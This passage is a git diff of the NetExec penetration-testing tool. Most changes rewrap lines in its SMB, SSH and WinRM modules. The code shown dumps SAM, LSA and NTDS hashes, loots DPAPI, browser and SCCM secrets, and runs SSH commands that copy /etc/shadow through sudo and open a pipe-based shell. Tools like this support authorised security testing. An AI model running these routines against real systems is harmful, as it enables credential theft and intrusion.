{user_info[2]}") + self.logger.highlight( + f"{user_info[0]}\\{user_info[1]:<25} logon_server: {user_info[2]}") except Exception as e: self.logger.fail(f"Error enumerating logged on users: {e}") @@ -1727,16 +1877,20 @@ def wmi(self, wmi_query=None, namespace=None): namespace = self.args.wmi_namespace try: - dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host) - iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login) - flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout) + dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, + oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host) + iInterface = dcom.CoCreateInstanceEx( + CLSID_WbemLevel1Login, IID_IWbemLevel1Login) + flag, stringBinding = dcom_FirewallChecker( + iInterface, self.host, self.args.dcom_timeout) if not flag or not stringBinding: error_msg = f"WMI Query: Dcom initialization failed on connection with stringbinding: '{stringBinding}', please increase the timeout with the option '--dcom-timeout'. If it's still failing maybe something is blocking the RPC connection, try another exec method" if not stringBinding: error_msg = "WMI Query: Dcom initialization failed: can't get target stringbinding, maybe cause by IPv6 or any other issues, please check your target again" - self.logger.fail(error_msg) if not flag else self.logger.debug(error_msg) + self.logger.fail( + error_msg) if not flag else self.logger.debug(error_msg) # Make it force break function dcom.disconnect() iWbemLevel1Login = IWbemLevel1Login(iInterface) @@ -1800,9 +1954,11 @@ def spider( self.args.silent ) else: - spider.spider(share, folder, pattern, regex, exclude_dirs, depth, content, only_files, silent) + spider.spider(share, folder, pattern, regex, + exclude_dirs, depth, content, only_files, silent) if not silent: - self.logger.display(f"Done spidering (Completed in {time() - start_time})") + self.logger.display( + f"Done spidering (Completed in {time() - start_time})") return spider.results @@ -1825,7 +1981,8 @@ def rid_brute(self, max_rid=None): if hasattr(rpc_transport, "set_credentials"): # This method exists only for selected protocol sequences. - rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey) + rpc_transport.set_credentials( + self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey) if self.kerberos: rpc_transport.set_kerberos(self.kerberos, self.kdcHost) @@ -1846,7 +2003,8 @@ def rid_brute(self, max_rid=None): dce.bind(lsat.MSRPC_UUID_LSAT) try: - resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) + resp = lsad.hLsarOpenPolicy2( + dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) except lsad.DCERPCSessionError as e: self.logger.fail(f"Error connecting: {e}") return entries @@ -1854,10 +2012,12 @@ def rid_brute(self, max_rid=None): policy_handle = resp["PolicyHandle"] try: - resp = lsad.hLsarQueryInformationPolicy2(dce, policy_handle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) + resp = lsad.hLsarQueryInformationPolicy2( + dce, policy_handle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) except lsad.DCERPCException as e: if e.error_string == "nca_s_op_rng_error": - self.logger.fail("RPC lookup failed: RPC method not implemented") + self.logger.fail( + "RPC lookup failed: RPC method not implemented") else: self.logger.fail(f"Error querying policy information: {e}") return entries @@ -1867,14 +2027,17 @@ def rid_brute(self, max_rid=None): so_far = 0 simultaneous = 1000 for _j in range(max_rid // simultaneous + 1): - sids_to_check = (max_rid - so_far) % simultaneous if (max_rid - so_far) // simultaneous == 0 else simultaneous + sids_to_check = (max_rid - so_far) % simultaneous if (max_rid - + so_far) // simultaneous == 0 else simultaneous if sids_to_check == 0: break - sids = [f"{domain_sid}-{i:d}" for i in range(so_far, so_far + sids_to_check)] + sids = [ + f"{domain_sid}-{i:d}" for i in range(so_far, so_far + sids_to_check)] try: - lsat.hLsarLookupSids(dce, policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) + lsat.hLsarLookupSids( + dce, policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) except DCERPCException as e: if str(e).find("STATUS_NONE_MAPPED") >= 0: so_far += simultaneous @@ -1890,7 +2053,8 @@ def rid_brute(self, max_rid=None): domain = resp["ReferencedDomains"]["Domains"][item["DomainIndex"]]["Name"] user = item["Name"] sid_type = SID_NAME_USE.enumItems(item["Use"]).name - self.logger.highlight(f"{rid}: {domain}\\{user} ({sid_type})") + self.logger.highlight( + f"{rid}: {domain}\\{user} ({sid_type})") entries.append( { "rid": rid, @@ -1908,9 +2072,11 @@ def put_file_single(self, src, dst): with open(src, "rb") as file: try: self.conn.putFile(self.args.share, dst, file.read) - self.logger.success(f"Created file {src} on \\\\{self.args.share}\\{dst}") + self.logger.success( + f"Created file {src} on \\\\{self.args.share}\\{dst}") except Exception as e: - self.logger.fail(f"Error writing file to share {self.args.share}: {e}") + self.logger.fail( + f"Error writing file to share {self.args.share}: {e}") def put_file(self): for src, dest in self.args.put_file: @@ -1924,9 +2090,11 @@ def get_file_single(self, remote_path, download_path): with open(download_path, "wb+") as file: try: self.conn.getFile(share_name, remote_path, file.write) - self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"') + self.logger.success( + f'File "{remote_path}" was downloaded to "{download_path}"') except Exception as e: - self.logger.fail(f'Error writing file "{remote_path}" from share "{share_name}": {e}') + self.logger.fail( + f'Error writing file "{remote_path}" from share "{share_name}": {e}') if os.path.getsize(download_path) == 0: os.remove(download_path) @@ -1937,9 +2105,11 @@ def get_file(self): def enable_remoteops(self, regsecret=False): try: if regsecret: - self.remote_ops = RegSecretsRemoteOperations(self.conn, self.kerberos, self.kdcHost) + self.remote_ops = RegSecretsRemoteOperations( + self.conn, self.kerberos, self.kdcHost) else: - self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost) + self.remote_ops = RemoteOperations( + self.conn, self.kerberos, self.kdcHost) self.remote_ops.enableRegistry() if self.bootkey is None: self.bootkey = self.remote_ops.getBootKey() @@ -1971,7 +2141,8 @@ def add_sam_hash(sam_hash, host_id): SAM = RegSecretsSAMHashes( self.bootkey, remoteOps=self.remote_ops, - perSecretCallback=lambda secret: add_sam_hash(secret, host_id), + perSecretCallback=lambda secret: add_sam_hash( + secret, host_id), ) else: SAM_file_name = self.remote_ops.saveSAM() @@ -1979,25 +2150,30 @@ def add_sam_hash(sam_hash, host_id): SAM_file_name, self.bootkey, isRemote=True, - perSecretCallback=lambda secret: add_sam_hash(secret, host_id), + perSecretCallback=lambda secret: add_sam_hash( + secret, host_id), ) self.logger.display("Dumping SAM hashes") - self.output_filename = self.output_file_template.format(output_folder="sam") + self.output_filename = self.output_file_template.format( + output_folder="sam") SAM.dump() SAM.export(self.output_filename) - self.logger.success(f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database") + self.logger.success( + f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database") try: self.remote_ops.finish() except Exception as e: - self.logger.debug(f"Error calling remote_ops.finish(): {e}") + self.logger.debug( + f"Error calling remote_ops.finish(): {e}") if self.args.sam == "secdump": SAM.finish() except SessionError as e: if "STATUS_ACCESS_DENIED" in e.getErrorString(): - self.logger.fail('Error "STATUS_ACCESS_DENIED" while dumping SAM. This is likely due to an endpoint protection.') + self.logger.fail( + 'Error "STATUS_ACCESS_DENIED" while dumping SAM. This is likely due to an endpoint protection.') except Exception as e: self.logger.exception(str(e)) @@ -2016,23 +2192,27 @@ def sccm(self): use_kcache=self.use_kcache, ) - conn = upgrade_to_dploot_connection(connection=self.conn, target=target) + conn = upgrade_to_dploot_connection( + connection=self.conn, target=target) if conn is None: self.logger.debug("Could not upgrade connection") return - masterkeys = collect_masterkeys_from_target(self, target, conn, user=False) + masterkeys = collect_masterkeys_from_target( + self, target, conn, user=False) if len(masterkeys) == 0: self.logger.fail("No masterkeys looted") return - self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}") + self.logger.success( + f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}") def sccm_callback(secret): if isinstance(secret, SCCMCred): tag = "NAA Account" - self.logger.highlight(f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}") + self.logger.highlight( + f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}") self.db.add_dpapi_secrets( target.address, f"SCCM - {tag}", @@ -2043,7 +2223,8 @@ def sccm_callback(secret): ) elif isinstance(secret, SCCMSecret): tag = "Task sequences secret" - self.logger.highlight(f"[{tag}] {secret.secret.decode('latin-1')}") + self.logger.highlight( + f"[{tag}] {secret.secret.decode('latin-1')}") self.db.add_dpapi_secrets( target.address, f"SCCM - {tag}", @@ -2054,7 +2235,8 @@ def sccm_callback(secret): ) elif isinstance(secret, SCCMCollection): tag = "Collection Variable" - self.logger.highlight(f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}") + self.logger.highlight( + f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}") self.db.add_dpapi_secrets( target.address, f"SCCM - {tag}", @@ -2064,7 +2246,8 @@ def sccm_callback(secret): "N/A", ) try: - sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=sccm_callback) + sccm_triage = SCCMTriage( + target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=sccm_callback) sccm_triage.triage_sccm(use_wmi=self.args.sccm == "wmi", ) except Exception as e: self.logger.debug(f"Error while looting sccm: {e}") @@ -2076,7 +2259,8 @@ def dpapi(self): if self.args.pvk is not None: try: self.pvkbytes = open(self.args.pvk, "rb").read() # noqa: SIM115 - self.logger.success(f"Loading domain backupkey from {self.args.pvk}") + self.logger.success( + f"Loading domain backupkey from {self.args.pvk}") except Exception as e: self.logger.fail(str(e)) @@ -2098,18 +2282,21 @@ def dpapi(self): self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # noqa: SIM115 - conn = upgrade_to_dploot_connection(connection=self.conn, target=target) + conn = upgrade_to_dploot_connection( + connection=self.conn, target=target) if conn is None: self.logger.debug("Could not upgrade connection") return - masterkeys = collect_masterkeys_from_target(self, target, conn, system=dump_system) + masterkeys = collect_masterkeys_from_target( + self, target, conn, system=dump_system) if len(masterkeys) == 0: self.logger.fail("No masterkeys looted") return - self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") + self.logger.success( + f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") # Collect User and Machine Credentials Manager secrets def credential_callback(credential): @@ -2128,8 +2315,10 @@ def credential_callback(credential): ) try: - credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys, per_credential_callback=credential_callback) - self.logger.debug(f"Credentials Triage Object: {credentials_triage}") + credentials_triage = CredentialsTriage( + target=target, conn=conn, masterkeys=masterkeys, per_credential_callback=credential_callback) + self.logger.debug( + f"Credentials Triage Object: {credentials_triage}") credentials_triage.triage_credentials() if dump_system: credentials_triage.triage_system_credentials() @@ -2174,7 +2363,8 @@ def browser_callback(secret): self.output_file.write(line + "\n") try: - browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=browser_callback) + browser_triage = BrowserTriage( + target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=browser_callback) browser_triage.triage_browsers(gather_cookies=dump_cookies) except Exception as e: self.logger.debug(f"Error while looting browsers: {e}") @@ -2198,7 +2388,8 @@ def vault_callback(secret): try: # Collect User Internet Explorer stored secrets - vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys, per_vault_callback=vault_callback) + vaults_triage = VaultsTriage( + target=target, conn=conn, masterkeys=masterkeys, per_vault_callback=vault_callback) vaults_triage.triage_vaults() except Exception as e: self.logger.debug(f"Error while looting vaults: {e}") @@ -2227,7 +2418,8 @@ def firefox_callback(secret): try: # Collect Firefox stored secrets - firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn, per_secret_callback=firefox_callback) + firefox_triage = FirefoxTriage( + target=target, logger=self.logger, conn=conn, per_secret_callback=firefox_callback) firefox_triage.run(gather_cookies=dump_cookies) except Exception as e: self.logger.debug(f"Error while looting firefox: {e}") @@ -2251,8 +2443,10 @@ def add_lsa_secret(secret): currentPassword = blob["CurrentPassword"][:-2] ntlm_hash = MD4.new() ntlm_hash.update(currentPassword) - passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8") - self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") + passwd = binascii.hexlify( + ntlm_hash.digest()).decode("utf-8") + self.logger.highlight( + f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") add_lsa_secret.secrets = 0 @@ -2261,7 +2455,8 @@ def add_lsa_secret(secret): LSA = RegSecretsLSASecrets( self.bootkey, self.remote_ops, - perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), + perSecretCallback=lambda secret_type, secret: add_lsa_secret( + secret), ) else: SECURITYFileName = self.remote_ops.saveSECURITY() @@ -2270,24 +2465,29 @@ def add_lsa_secret(secret): self.bootkey, self.remote_ops, isRemote=True, - perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), + perSecretCallback=lambda secret_type, secret: add_lsa_secret( + secret), ) self.logger.display("Dumping LSA secrets") - self.output_filename = self.output_file_template.format(output_folder="lsa") + self.output_filename = self.output_file_template.format( + output_folder="lsa") LSA.dumpCachedHashes() LSA.exportCached(self.output_filename) LSA.dumpSecrets() LSA.exportSecrets(self.output_filename) - self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}") + self.logger.success( + f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}") try: self.remote_ops.finish() except Exception as e: - self.logger.debug(f"Error calling remote_ops.finish(): {e}") + self.logger.debug( + f"Error calling remote_ops.finish(): {e}") if self.args.lsa == "secdump": LSA.finish() except SessionError as e: if "STATUS_ACCESS_DENIED" in e.getErrorString(): - self.logger.fail('Error "STATUS_ACCESS_DENIED" while dumping LSA. This is likely due to an endpoint protection.') + self.logger.fail( + 'Error "STATUS_ACCESS_DENIED" while dumping LSA. This is likely due to an endpoint protection.') except Exception as e: self.logger.exception(str(e)) @@ -2316,7 +2516,8 @@ def add_hash(secret_type, secret, host_id): secret = " ".join(secret.split(" ")[:-1]) self.logger.highlight(secret) else: - secret = " ".join(secret.split(" ")[:-1]) if " " in secret else secret + secret = " ".join(secret.split( + " ")[:-1]) if " " in secret else secret self.logger.highlight(secret) # Filter out computer accounts, history hashes and kerberos keys for adding to db @@ -2328,17 +2529,21 @@ def add_hash(secret_type, secret, host_id): clean_hash = secret try: - username, _, lmhash, nthash, _, _, _ = clean_hash.split(":") + username, _, lmhash, nthash, _, _, _ = clean_hash.split( + ":") parsed_hash = f"{lmhash}:{nthash}" if validate_ntlm(parsed_hash): - self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id) + self.db.add_credential( + "hash", domain, username, parsed_hash, pillaged_from=host_id) add_hash.added_to_db += 1 return raise except Exception: - self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)") + self.logger.debug( + "Dumped hash is not NTLM, not adding to db for now ;)") else: - self.logger.debug("Dumped hash is a computer account, not adding to db") + self.logger.debug( + "Dumped hash is a computer account, not adding to db") add_hash.nt_lm_secrets = 0 add_hash.kerb_secrets = 0 @@ -2352,7 +2557,8 @@ def add_hash(secret_type, secret, host_id): except Exception as e: self.logger.fail(e) - self.output_filename = self.output_file_template.format(output_folder="ntds") + self.output_filename = self.output_file_template.format( + output_folder="ntds") NTDS = NTDSHashes( NTDSFileName, @@ -2368,18 +2574,24 @@ def add_hash(secret_type, secret, host_id): outputFileName=self.output_filename, justUser=self.args.userntds if self.args.userntds else None, printUserStatus=True, - perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret, host_id), + perSecretCallback=lambda secret_type, secret: add_hash( + secret_type, secret, host_id), ) try: - self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...") + self.logger.success( + "Dumping the NTDS, this could take a while so go grab a redbull...") NTDS.dump() ntds_outfile = f"{self.output_filename}.ntds" - self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database") + self.logger.success( + f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database") if self.args.kerberos_keys: - self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos") - self.logger.display("To extract only enabled accounts from the output file, run the following command: ") - self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1") + self.logger.success( + f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos") + self.logger.display( + "To extract only enabled accounts from the output file, run the following command: ") + self.logger.display( + f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1") except Exception as e: # if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: # We don't store the resume file if this error happened, since this error is related to lack diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index a5c7b9c9c1..606737d139 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -53,11 +53,13 @@ def proto_logger(self): "host": self.host, "port": self.port, "hostname": self.hostname, + "server_os": self.server_os_platform, } ) def print_host_info(self): - self.logger.display(self.remote_version if self.remote_version != "Unknown SSH Version" else f"{self.remote_version}, skipping...") + self.logger.display(self.remote_version if self.remote_version != + "Unknown SSH Version" else f"{self.remote_version}, skipping...") def enum_host_info(self): if self.conn._transport.remote_version: @@ -69,7 +71,8 @@ def create_conn_obj(self): self.conn = paramiko.SSHClient() self.conn.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: - self.conn.connect(self.host, port=self.port, timeout=self.args.ssh_timeout, look_for_keys=False, allow_agent=False) + self.conn.connect(self.host, port=self.port, timeout=self.args.ssh_timeout, + look_for_keys=False, allow_agent=False) except AuthenticationException: return True except SSHException: @@ -84,7 +87,8 @@ def plaintext_login(self, username, password, private_key=""): self.password = password try: if self.args.key_file or private_key: - self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}") + self.logger.debug( + f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}") self.conn.connect( self.host, port=self.port, @@ -101,9 +105,11 @@ def plaintext_login(self, username, password, private_key=""): if self.args.key_file: with open(self.args.key_file) as f: private_key = f.read().rstrip("\n") - cred_id = self.db.add_credential("key", username, password, key=private_key) + cred_id = self.db.add_credential( + "key", username, password, key=private_key) else: - self.logger.debug(f"Logging {self.host} with username: {self.username}, password: {self.password}") + self.logger.debug( + f"Logging {self.host} with username: {self.username}, password: {self.password}") self.conn.connect( self.host, port=self.port, @@ -114,24 +120,30 @@ def plaintext_login(self, username, password, private_key=""): allow_agent=False, banner_timeout=self.args.ssh_timeout, ) - cred_id = self.db.add_credential("plaintext", username, password) + cred_id = self.db.add_credential( + "plaintext", username, password) self.check_shell(cred_id) - secret = process_secret(self.password) if not self.args.key_file else f"{process_secret(self.password)} (keyfile: {self.args.key_file})" + secret = process_secret( + self.password) if not self.args.key_file else f"{process_secret(self.password)} (keyfile: {self.args.key_file})" display_shell_access = f"{self.uac}{self.server_os_platform}{' - Shell access!' if self.shell_access else ''}" - self.logger.success(f"{self.username}:{process_secret(secret)} {self.mark_pwned()} {highlight(display_shell_access)}") + self.logger.success( + f"{self.username}:{process_secret(secret)} {self.mark_pwned()} {highlight(display_shell_access)}") return True except AuthenticationException as e: if "Private key file is encrypted" in str(e): - self.logger.fail(f"{username}:{process_secret(password)} Could not load private key, error: {e}") + self.logger.fail( + f"{username}:{process_secret(password)} Could not load private key, error: {e}") else: self.logger.fail(f"{username}:{process_secret(password)}") except SSHException as e: if "Invalid key" in str(e): - self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password") + self.logger.fail( + f"{username}:{process_secret(password)} Could not decrypt private key, invalid password") elif "Error reading SSH protocol banner" in str(e): - self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}") + self.logger.error( + f"Internal Paramiko error for {username}:{process_secret(password)}, {e}") else: self.logger.exception(e) except Exception as e: @@ -144,42 +156,53 @@ def check_shell(self, cred_id): # Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey # Check Linux - stdout = self.conn.exec_command("id")[1].read().decode(self.args.codec, errors="ignore") + stdout = self.conn.exec_command("id")[1].read().decode( + self.args.codec, errors="ignore") if stdout: self.server_os_platform = "Linux" self.logger.debug(f"Linux detected for user: {stdout}") self.shell_access = True - self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) + self.db.add_loggedin_relation( + cred_id, host_id, shell=self.shell_access) self.check_linux_priv() if self.admin_privs: - self.logger.debug(f"User {self.username} logged in successfully and is root!") + self.logger.debug( + f"User {self.username} logged in successfully and is root!") if self.args.key_file: - self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id) + self.db.add_admin_user( + "key", self.username, self.password, host_id=host_id, cred_id=cred_id) else: - self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id) + self.db.add_admin_user( + "plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id) return # Check Windows - stdout = self.conn.exec_command("whoami /priv")[1].read().decode(self.args.codec, errors="ignore") + stdout = self.conn.exec_command( + "whoami /priv")[1].read().decode(self.args.codec, errors="ignore") if stdout: self.server_os_platform = "Windows" self.logger.debug("Windows detected") self.shell_access = True - self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) + self.db.add_loggedin_relation( + cred_id, host_id, shell=self.shell_access) self.check_windows_priv(stdout) if self.admin_privs: - self.logger.debug(f"User {self.username} logged in successfully and is admin!") + self.logger.debug( + f"User {self.username} logged in successfully and is admin!") if self.args.key_file: - self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id) + self.db.add_admin_user( + "key", self.username, self.password, host_id=host_id, cred_id=cred_id) else: - self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id) + self.db.add_admin_user( + "plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id) return # No shell access self.shell_access = False self.logger.debug(f"User: {self.username} can't get a basic shell") self.server_os_platform = "Network Devices" - self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) + self.db.add_loggedin_relation( + cred_id, host_id, shell=self.shell_access) def check_windows_priv(self, stdout): if "SeDebugPrivilege" in stdout: @@ -207,7 +230,8 @@ def check_linux_priv(self): for keyword in admin_flag: match = re.findall(re.escape(keyword), stdout) if match: - self.logger.info(f"User: '{self.username}' matched keyword: {match[0]}") + self.logger.info( + f"User: '{self.username}' matched keyword: {match[0]}") self.admin_privs = admin_flag[match[0]][0] if not self.admin_privs: tips = admin_flag[match[0]][1] @@ -219,7 +243,8 @@ def check_linux_priv(self): def check_linux_priv_sudo(self): if not self.password: - self.logger.error("Check admin with sudo does not support using a private key") + self.logger.error( + "Check admin with sudo does not support using a private key") return if self.args.sudo_check_method: @@ -233,14 +258,18 @@ def check_linux_priv_sudo(self): if "stdin" in stdout: shadow_backup = f"/tmp/{uuid.uuid4()}" # sudo support stdin password - self.conn.exec_command(f"echo {self.password} | sudo -S cp /etc/shadow {shadow_backup} >/dev/null 2>&1 &") - self.conn.exec_command(f"echo {self.password} | sudo -S chmod 777 {shadow_backup} >/dev/null 2>&1 &") + self.conn.exec_command( + f"echo {self.password} | sudo -S cp /etc/shadow {shadow_backup} >/dev/null 2>&1 &") + self.conn.exec_command( + f"echo {self.password} | sudo -S chmod 777 {shadow_backup} >/dev/null 2>&1 &") tries = 1 while True: self.logger.info(f"Checking {shadow_backup} if it existed") - _, _, stderr = self.conn.exec_command(f"ls {shadow_backup}") + _, _, stderr = self.conn.exec_command( + f"ls {shadow_backup}") if tries >= self.args.get_output_tries: - self.logger.info(f"The file {shadow_backup} does not exist, the pipe may be hanging. Increase the number of tries with the option '--get-output-tries' or change other method with '--sudo-check-method'. If it's still failing, maybe sudo shell does not work with the current user") + self.logger.info( + f"The file {shadow_backup} does not exist, the pipe may be hanging. Increase the number of tries with the option '--get-output-tries' or change other method with '--sudo-check-method'. If it's still failing, maybe sudo shell does not work with the current user") break if stderr.read().decode("utf-8"): time.sleep(2) @@ -250,9 +279,11 @@ def check_linux_priv_sudo(self): self.admin_privs = True break self.logger.info(f"Remove up temporary files {shadow_backup}") - self.conn.exec_command(f"echo {self.password} | sudo -S rm -rf {shadow_backup}") + self.conn.exec_command( + f"echo {self.password} | sudo -S rm -rf {shadow_backup}") else: - self.logger.error("Command: 'sudo' not support stdin mode, running command with 'sudo' failed") + self.logger.error( + "Command: 'sudo' not support stdin mode, running command with 'sudo' failed") return else: _, stdout, _ = self.conn.exec_command("mkfifo --help") @@ -263,34 +294,44 @@ def check_linux_priv_sudo(self): pipe_stdin = f"/tmp/systemd-{uuid.uuid4()}" pipe_stdout = f"/tmp/systemd-{uuid.uuid4()}" shadow_backup = f"/tmp/{uuid.uuid4()}" - self.conn.exec_command(f"mkfifo {pipe_stdin}; tail -f {pipe_stdin} | /bin/sh 2>&1 > {pipe_stdout} >/dev/null 2>&1 &") + self.conn.exec_command( + f"mkfifo {pipe_stdin}; tail -f {pipe_stdin} | /bin/sh 2>&1 > {pipe_stdout} >/dev/null 2>&1 &") # 'script -qc /bin/sh /dev/null' means "upgrade" the shell, like reverse shell from netcat - self.conn.exec_command(f"echo 'script -qc /bin/sh /dev/null' > {pipe_stdin}") - self.conn.exec_command(f"echo 'sudo -s' > {pipe_stdin} && echo '{self.password}' > {pipe_stdin}") + self.conn.exec_command( + f"echo 'script -qc /bin/sh /dev/null' > {pipe_stdin}") + self.conn.exec_command( + f"echo 'sudo -s' > {pipe_stdin} && echo '{self.password}' > {pipe_stdin}") # Sometime the pipe will hanging(only happen with paramiko) # Can't get "whoami" or "id" result in pipe_stdout, maybe something wrong using pipe with paramiko # But one thing I can confirm, is the command was executed even can't get result from pipe_stdout tries = 1 - self.logger.info(f"Copy /etc/shadow to {shadow_backup} if pass the sudo auth") + self.logger.info( + f"Copy /etc/shadow to {shadow_backup} if pass the sudo auth") while True: self.logger.info(f"Checking {shadow_backup} if it existed") - _, _, stderr = self.conn.exec_command(f"ls {shadow_backup}") + _, _, stderr = self.conn.exec_command( + f"ls {shadow_backup}") if tries >= self.args.get_output_tries: - self.logger.info(f"The file {shadow_backup} does not exist, the pipe may be hanging. Increase the number of tries with the option '--get-output-tries' or change other method with '--sudo-check-method'. If it's still failing, maybe sudo shell does not work with the current user") + self.logger.info( + f"The file {shadow_backup} does not exist, the pipe may be hanging. Increase the number of tries with the option '--get-output-tries' or change other method with '--sudo-check-method'. If it's still failing, maybe sudo shell does not work with the current user") break if stderr.read().decode("utf-8"): time.sleep(2) - self.conn.exec_command(f"echo 'cp /etc/shadow {shadow_backup} && chmod 777 {shadow_backup}' > {pipe_stdin}") + self.conn.exec_command( + f"echo 'cp /etc/shadow {shadow_backup} && chmod 777 {shadow_backup}' > {pipe_stdin}") tries += 1 else: self.logger.info(f"{shadow_backup} existed") self.admin_privs = True break - self.logger.info(f"Remove up temporary files {shadow_backup} {pipe_stdin} {pipe_stdout}") - self.conn.exec_command(f"echo 'rm -rf {shadow_backup}' > {pipe_stdin} && rm -rf {pipe_stdin} {pipe_stdout}") + self.logger.info( + f"Remove up temporary files {shadow_backup} {pipe_stdin} {pipe_stdout}") + self.conn.exec_command( + f"echo 'rm -rf {shadow_backup}' > {pipe_stdin} && rm -rf {pipe_stdin} {pipe_stdout}") else: - self.logger.error("Command: 'mkfifo' unavailable, running command with 'sudo' failed") + self.logger.error( + "Command: 'mkfifo' unavailable, running command with 'sudo' failed") return def put_file_single(self, sftp_conn, src, dst): @@ -311,7 +352,8 @@ def get_file_single(self, sftp_conn, remote_path, download_path): self.logger.display(f'Copying "{remote_path}" to "{download_path}"') try: sftp_conn.get(remote_path, download_path) - self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"') + self.logger.success( + f'File "{remote_path}" was downloaded to "{download_path}"') except Exception as e: self.logger.fail(f'Error getting file "{remote_path}": {e}') if os.path.getsize(download_path) == 0: diff --git a/nxc/protocols/winrm.py b/nxc/protocols/winrm.py index 7bce374a71..e42cec9fc5 100644 --- a/nxc/protocols/winrm.py +++ b/nxc/protocols/winrm.py @@ -54,16 +54,20 @@ def proto_logger(self): "host": self.host, "port": "5985", "hostname": self.hostname, + "server_os": self.server_os, } ) def enum_host_info(self): try: - ntlm_info = parse_challenge(base64.b64decode(self.challenge_header.split(" ")[1].replace(",", ""))) + ntlm_info = parse_challenge(base64.b64decode( + self.challenge_header.split(" ")[1].replace(",", ""))) except Exception as e: self.logger.debug(f"Error parsing NTLM challenge: {e!s}") - self.logger.debug(f"Raw challenge: {self.challenge_header.split(' ')[1].replace(',', '')[:20]}...") - self.logger.error("Invalid NTLM challenge received from server. This may indicate NTLM is not supported and nxc winrm only support NTLM currently") + self.logger.debug( + f"Raw challenge: {self.challenge_header.split(' ')[1].replace(',', '')[:20]}...") + self.logger.error( + "Invalid NTLM challenge received from server. This may indicate NTLM is not supported and nxc winrm only support NTLM currently") self.no_ntlm = True return False @@ -71,8 +75,10 @@ def enum_host_info(self): self.hostname = ntlm_info["hostname"] self.server_os = ntlm_info["os_version"] 